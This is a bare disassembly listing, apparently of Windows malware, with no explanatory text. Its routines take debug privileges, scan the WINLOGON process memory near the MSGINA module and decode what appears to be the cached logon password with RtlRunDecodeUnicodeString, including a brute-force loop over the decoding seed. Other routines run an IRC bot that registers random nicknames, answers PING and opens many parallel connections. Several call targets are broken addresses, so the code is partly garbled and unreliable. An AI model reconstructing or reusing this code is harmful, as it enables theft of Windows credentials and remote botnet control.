push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D3DE0, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D3FF0, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D3DE8, eax
call esi
mov dword_4D3DE4, eax
call sub_4170EC
test eax, eax
mov [ebp+arg_0], eax
jz loc_417066
mov esi, dword_42713C
mov edi, 400h
mov ebx, offset dword_4D2DE0
push edi
push ebx
push offset off_437A3C
call esi
push edi
mov edi, offset dword_4D35E0
push edi
push offset off_437A24
call esi
cmp [ebp+var_4], 1
push offset dword_4D3FF8
push [ebp+arg_0]
jnz short loc_417012
call sub_417275
jmp short loc_417017
; ---------------------------------------------------------------------------
loc_417012: ; CODE XREF: sub_416F1A+EFj
call sub_41741C
loc_417017: ; CODE XREF: sub_416F1A+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_41705F
cmp dword_4D3FF8, 0
jnz short loc_417046
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_4379C8
push 200h
push eax
call sub_41B980
add esp, 18h
jmp short loc_417079
; ---------------------------------------------------------------------------
loc_417046: ; CODE XREF: sub_416F1A+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417056
call sub_417552
jmp short loc_41705B
; ---------------------------------------------------------------------------
loc_417056: ; CODE XREF: sub_416F1A+133j
call sub_4175E9
loc_41705B: ; CODE XREF: sub_416F1A+13Aj
pop ecx
push eax
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_41705F: ; CODE XREF: sub_416F1A+101j
push offset unk_437990
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_417066: ; CODE XREF: sub_416F1A+B6j
push offset unk_437964
loc_41706B: ; CODE XREF: sub_416F1A+143j
; sub_416F1A+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_417079: ; CODE XREF: sub_416F1A+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 27603AFh
pop ebx
jmp short loc_4170A6
; ---------------------------------------------------------------------------
loc_417093: ; CODE XREF: sub_416F1A+4Ej
push offset unk_437930
loc_417098: ; CODE XREF: sub_416F1A+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4170A6: ; CODE XREF: sub_416F1A+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4170CD
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409A72
add esp, 14h
loc_4170CD: ; CODE XREF: sub_416F1A+191j
lea eax, [ebp+var_29C]
push eax
call sub_4151AC
push [ebp+var_18]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 26C0000h
pop edi
pop esi
sub_416F1A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427148
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427144
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D3DEC
push ebp
push 0
call esi
push eax
nop
call near ptr 2770000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D3DEC
test eax, eax
jnz short loc_4171D9
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4171D9
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4171D9
loc_417175: ; CODE XREF: sub_4170EC+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4171CC
push 0
push 0
call dword_4D3DE0
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D3FF0
test eax, eax
jnz short loc_4171BD
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4171F1
loc_4171BD: ; CODE XREF: sub_4170EC+AAj
test edi, edi
jz short loc_4171C8
push edi
call dword_4D3DE8
loc_4171C8: ; CODE XREF: sub_4170EC+D3j
mov eax, [esp+28h+var_10]
loc_4171CC: ; CODE XREF: sub_4170EC+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417175
loc_4171D9: ; CODE XREF: sub_4170EC+6Dj
; sub_4170EC+7Aj ...
xor edi, edi
loc_4171DB: ; CODE XREF: sub_4170EC+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 2770000h
mov eax, edi
loc_4171E9: ; CODE XREF: sub_4170EC+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4171F1: ; CODE XREF: sub_4170EC+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_41725A
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417207: ; CODE XREF: sub_4170EC+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41726E
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41724C
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41724C: ; CODE XREF: sub_4170EC+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417207
loc_41725A: ; CODE XREF: sub_4170EC+10Fj
test edi, edi
jz short loc_417265
push edi
call dword_4D3DE8
loc_417265: ; CODE XREF: sub_4170EC+170j
mov edi, [esp+28h+var_4]
jmp loc_4171DB
; ---------------------------------------------------------------------------
loc_41726E: ; CODE XREF: sub_4170EC+13Cj
xor eax, eax
jmp loc_4171E9
sub_4170EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417275 proc near ; CODE XREF: sub_416F1A+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 2660377h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41729E
xor eax, eax
jmp loc_417419
; ---------------------------------------------------------------------------
loc_41729E: ; CODE XREF: sub_417275+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call near ptr 27902A0h
nop
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427148
push 8
call esi
mov edi, dword_427144
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_427150
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_4172EE
xor esi, esi
jmp loc_41740C
; ---------------------------------------------------------------------------
loc_4172EE: ; CODE XREF: sub_417275+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call near ptr 2780B5Dh
nop
test eax, eax
jz loc_4173FB
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4173FB
test [ebp+var_2B], 1
jnz loc_4173FB
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4173FB
loc_417351: ; CODE XREF: sub_417275+112j
push edi
push offset dword_4D2DE0
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_417379
lea eax, [edi+200h]
push eax
push offset dword_4D35E0
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417389
loc_417379: ; CODE XREF: sub_417275+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4173FB
jmp short loc_417351
; ---------------------------------------------------------------------------
loc_417389: ; CODE XREF: sub_417275+102j
test edi, edi
jz short loc_4173FB
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call near ptr 2730000h
nop
test eax, eax
jz short loc_4173C4
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 272088Fh
test eax, eax
jz short loc_4173C4
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4173C4: ; CODE XREF: sub_417275+12Bj
; sub_417275+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4004, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D3FFC, eax
mov dword_4D4000, edi
loc_4173FB: ; CODE XREF: sub_417275+90j
; sub_417275+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 2770000h
mov esi, [ebp+var_10]
loc_41740C: ; CODE XREF: sub_417275+74j
push [ebp+var_4]
nop
call near ptr 26408F3h
pop edi
mov eax, esi
pop ebx
loc_417419: ; CODE XREF: sub_417275+24j
pop esi
leave
retn
sub_417275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 2660377h
test eax, eax
mov [ebp+arg_0], eax
jz loc_41750E
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call near ptr 27902A0h
nop
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417505
mov edi, dword_427148
loc_417467: ; CODE XREF: sub_41741C+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 2780B5Dh
test eax, eax
jz short loc_4174F3
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4174F9
test [ebp+var_13], 1
jnz short loc_4174F9
push ecx
push 8
call edi
push eax
nop
call near ptr 2780000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 2790000h
test eax, eax
jz short loc_4174E5
push offset dword_4D2DE0
push esi
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_4174E5
lea eax, [esi+400h]
push offset dword_4D35E0
push eax
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417515
loc_4174E5: ; CODE XREF: sub_41741C+9Fj
; sub_41741C+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 2770000h
jmp short loc_4174F9
; ---------------------------------------------------------------------------
loc_4174F3: ; CODE XREF: sub_41741C+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4174F9: ; CODE XREF: sub_41741C+71j
; sub_41741C+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417467
loc_417505: ; CODE XREF: sub_41741C+3Fj
push [ebp+arg_0]
nop
call near ptr 26408F3h
loc_41750E: ; CODE XREF: sub_41741C+1Ej
xor eax, eax
loc_417510: ; CODE XREF: sub_41741C+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417515: ; CODE XREF: sub_41741C+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D3FFC, ebx
mov dword_4D4000, eax
cmp [eax], cl
jnz short loc_417537
cmp [eax+1], cl
jz short loc_41753F
loc_417537: ; CODE XREF: sub_41741C+114j
; sub_41741C+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417537
loc_41753F: ; CODE XREF: sub_41741C+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call near ptr 26408F3h
nop
push 1
pop eax
jmp short loc_417510
sub_41741C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417552 proc near ; CODE XREF: sub_416F1A+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D3FF8
push esi
mov esi, dword_427148
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
call near ptr 2780000h
nop
mov ecx, dword_4D3FF8
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4000
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4004
push eax
call dword_4D3DE4
push [ebp+var_4]
mov edi, offset dword_4D3DF0
push offset dword_4D2DE0
push offset dword_4D35E0
push [ebp+arg_0]
push offset dword_437B4C
push 200h
push edi
call sub_41B980
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
call near ptr 2770000h
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_417552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D3FF8
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call near ptr 2780B10h
nop
push eax
nop
call near ptr 2780000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D35E0
mov edi, 200h
mov esi, offset dword_4D2BE0
loc_41762F: ; CODE XREF: sub_4175E9+FAj
mov eax, dword_4D3FF8
add eax, eax
push eax
push dword_4D4000
push [ebp+var_14]
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D3DE4
mov eax, dword_4D3FF8
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4176A4
loc_41766C: ; CODE XREF: sub_4175E9+B3j
cmp [ebp+var_8], 0
jz short loc_4176C1
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417690
cmp byte ptr [ecx+1], 0
jnz short loc_417690
cmp dl, 20h
jnb short loc_41768A
and [ebp+var_8], 0
loc_41768A: ; CODE XREF: sub_4175E9+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417694
loc_417690: ; CODE XREF: sub_4175E9+90j
; sub_4175E9+96j
and [ebp+var_8], 0
loc_417694: ; CODE XREF: sub_4175E9+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_41766C
cmp [ebp+var_8], 0
jz short loc_4176C1
loc_4176A4: ; CODE XREF: sub_4175E9+81j
push [ebp+var_14]
push offset dword_4D2DE0
push ebx
push [ebp+arg_0]
push offset dword_437B4C
push edi
push esi
call sub_41B980
add esp, 1Ch
jmp short loc_4176D9
; ---------------------------------------------------------------------------
loc_4176C1: ; CODE XREF: sub_4175E9+87j
; sub_4175E9+B9j
push offset dword_4D2DE0
push ebx
push [ebp+arg_0]
push offset dword_437B9C
push edi
push esi
call sub_41B980
add esp, 18h
loc_4176D9: ; CODE XREF: sub_4175E9+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_41762F
push [ebp+var_14]
push 0
call near ptr 2780B10h
nop
push eax
nop
call near ptr 2770000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4175E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CAFF4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41777E
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CAF74
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CAFB4
cmp eax, esi
jnz short loc_417763
push [ebp+arg_0]
call dword_4CAFF8
test eax, eax
jz short loc_41777E
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417763: ; CODE XREF: sub_417702+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CAF1C
cmp eax, esi
jnz short loc_417782
push edi
call dword_4CB00C
loc_41777E: ; CODE XREF: sub_417702+1Bj
; sub_417702+58j
mov eax, esi
jmp short loc_417784
; ---------------------------------------------------------------------------
loc_417782: ; CODE XREF: sub_417702+73j
mov eax, edi
loc_417784: ; CODE XREF: sub_417702+7Ej
pop edi
pop esi
leave
retn
sub_417702 endp
; =============== S U B R O U T I N E =======================================
sub_417788 proc near ; CODE XREF: sub_401ACD+3294p
; sub_401ACD+3300p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_429998 ; "\n"
push edi
call sub_41BEC0
pop ecx
mov esi, offset dword_4D400C
pop ecx
loc_4177A0: ; CODE XREF: sub_417788+42j
cmp dword ptr [esi-4], 1
jnz short loc_4177BE
cmp dword ptr [esi], 0
jbe short loc_4177BE
push 0
push edi
call sub_41AFE0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CAFC4
loc_4177BE: ; CODE XREF: sub_417788+1Cj
; sub_417788+21j
add esi, 210h
cmp esi, offset dword_4DA72C
jl short loc_4177A0
pop edi
pop esi
retn
sub_417788 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177CF proc near ; CODE XREF: sub_4178BA+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CA2C ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C0F4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_4177F4: ; CODE XREF: sub_4177CF+35j
push esi
push 0
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_4177F4
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_41781C
cmp esi, edi
jnz short loc_41781C
push 1
pop eax
jmp loc_4178B5
; ---------------------------------------------------------------------------
loc_41781C: ; CODE XREF: sub_4177CF+3Fj
; sub_4177CF+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C070
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417837
push offset dword_4387B4
jmp short loc_417885
; ---------------------------------------------------------------------------
loc_417837: ; CODE XREF: sub_4177CF+5Fj
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_417858
push esi
push offset dword_4387B0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4178B3
loc_417858: ; CODE XREF: sub_4177CF+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41B590
lea eax, [ebp+var_420]
push eax
call sub_417ADD
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_4387A4
loc_417885: ; CODE XREF: sub_4177CF+66j
lea eax, [ebp+var_220]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CAFC4
loc_4178B3: ; CODE XREF: sub_4177CF+87j
xor eax, eax
loc_4178B5: ; CODE XREF: sub_4177CF+48j
pop edi
pop esi
pop ebx
leave
retn
sub_4177CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178BA proc near ; DATA XREF: sub_417A5F+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BB20
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4014[esi]
mov dword_4D4008[esi], edi
push dword_4D4214[esi]
push eax
call sub_417702
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D400C[esi], eax
jb loc_417A3F
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B590
lea eax, [ebp+var_2008]
push eax
call sub_417ADD
lea eax, [ebp+var_4008]
push eax
call sub_417ADD
lea eax, [ebp+var_3008]
push eax
call sub_417ADD
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D400C[esi]
call dword_4CAFC4
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
loc_417996: ; CODE XREF: sub_4178BA+111j
; sub_4178BA+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D400C[esi]
call dword_4CAF8C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A3F
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417996
loc_4179CD: ; CODE XREF: sub_4178BA+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_4179F4
cmp al, 0Ah
jz short loc_4179F4
cmp [ebp+arg_0], 0FA0h
jz short loc_4179F4
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417A2E
; ---------------------------------------------------------------------------
loc_4179F4: ; CODE XREF: sub_4178BA+11Cj
; sub_4178BA+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A2E
push dword_4D400C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_4177CF
pop ecx
test eax, eax
pop ecx
ja short loc_417A3F
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A2E: ; CODE XREF: sub_4178BA+138j
; sub_4178BA+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4179CD
jmp loc_417996
; ---------------------------------------------------------------------------
loc_417A3F: ; CODE XREF: sub_4178BA+40j
; sub_4178BA+107j ...
mov dword_4D4008[esi], ebx
mov esi, dword_4D400C[esi]
cmp esi, ebx
jbe short loc_417A56
push esi
call dword_4CB00C
loc_417A56: ; CODE XREF: sub_4178BA+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4178BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417AD8
loc_417A71: ; CODE XREF: sub_417A5F+77j
xor edi, edi
mov eax, offset dword_4D4008
loc_417A78: ; CODE XREF: sub_417A5F+28j
cmp [eax], ebx
jz short loc_417A89
add eax, 210h
inc edi
cmp eax, offset dword_4DA728
jl short loc_417A78
loc_417A89: ; CODE XREF: sub_417A5F+1Bj
cmp edi, 31h
jz short loc_417AD8
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4014[esi]
push eax
call sub_41BEB0
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4214[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4008[esi], 1
push eax
push ebx
push edi
push offset sub_4178BA
push ebx
push ebx
nop
call near ptr 2660000h
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417A71
loc_417AD8: ; CODE XREF: sub_417A5F+10j
; sub_417A5F+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp
; sub_401ACD+3793p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
add esp, 0Ch
call sub_41B8E2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F8
call sub_41C798
cmp eax, 1
jnz short loc_417B27
call sub_41B8E2
call sub_41B8E2
push 66h
cdq
pop ecx
idiv ecx
push off_437EF0[edx*4]
jmp short loc_417B40
; ---------------------------------------------------------------------------
loc_417B27: ; CODE XREF: sub_417ADD+2Fj
call sub_41B8E2
call sub_41B8E2
cdq
mov ecx, 0C0h
idiv ecx
push off_437BF0[edx*4]
loc_417B40: ; CODE XREF: sub_417ADD+48j
lea eax, [ebp+var_2C]
push eax
call sub_41BEB0
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41AFE0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
call sub_41C798
mov ebx, eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417BB3
cmp esi, 3
jnz short loc_417BAA
cmp ebx, 1
jz short loc_417BB3
loc_417BAA: ; CODE XREF: sub_417ADD+C6j
cmp eax, 1
jnz loc_417C6D
loc_417BB3: ; CODE XREF: sub_417ADD+C1j
; sub_417ADD+CBj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E0
call sub_41C798
push off_437EF0[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41BEB0
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41BFB0
add esp, 10h
test eax, eax
jnz short loc_417C5A
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
dec esi
